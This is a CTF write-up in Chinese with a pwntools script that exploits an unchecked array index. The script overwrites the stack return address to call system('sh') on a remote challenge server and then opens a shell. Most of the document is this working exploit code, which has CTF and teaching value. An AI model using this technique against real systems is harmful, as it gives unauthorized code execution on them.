程序读取一个数字n,然后根据数字n读取数字到缓冲区,在执行需修改操作时为判断是否越界,而是根据用户输入的数字进行修改,造成堆栈地址内容修改。只需修改返回值即可。此题提供了hackhere函数输出flag,本地执行正常,远程出错,提示找不到/bin/bash。此处,技巧是执行system(’sh’)代替system(’/bin/sh’)。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘49796’)
print p.recvuntil(‘How many numbers you have:’)
p.sendline(“1”)
print p.recvuntil(‘Give me your numbers’)
p.sendline(‘0’)
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('0')
p.recvuntil('new number:')
p.sendline("47")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('1')
p.recvuntil('new number:')
p.sendline("98")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('2')
p.recvuntil('new number:')
p.sendline("105")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('3')
p.recvuntil('new number:')
p.sendline("110")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('4')
p.recvuntil('new number:')
p.sendline("47")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('5')
p.recvuntil('new number:')
p.sendline("115")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('6')
p.recvuntil('new number:')
p.sendline("104")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('7')
p.recvuntil('new number:')
p.sendline("0")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('132')
p.recvuntil('new number:')
p.sendline("80")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('133')
p.recvuntil('new number:')
p.sendline("132")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('134')
p.recvuntil('new number:')
p.sendline("4")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('135')
p.recvuntil('new number:')
p.sendline("8")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('140')
p.recvuntil('new number:')
p.sendline("135")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('141')
p.recvuntil('new number:')
p.sendline("137")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('142')
p.recvuntil('new number:')
p.sendline("4")
print p.recv()
p.sendline('3')
p.recvuntil('which number to change:')
p.sendline('143')
p.recvuntil('new number:')
p.sendline("8")
print p.recv()
p.sendline('5')
p.interactive()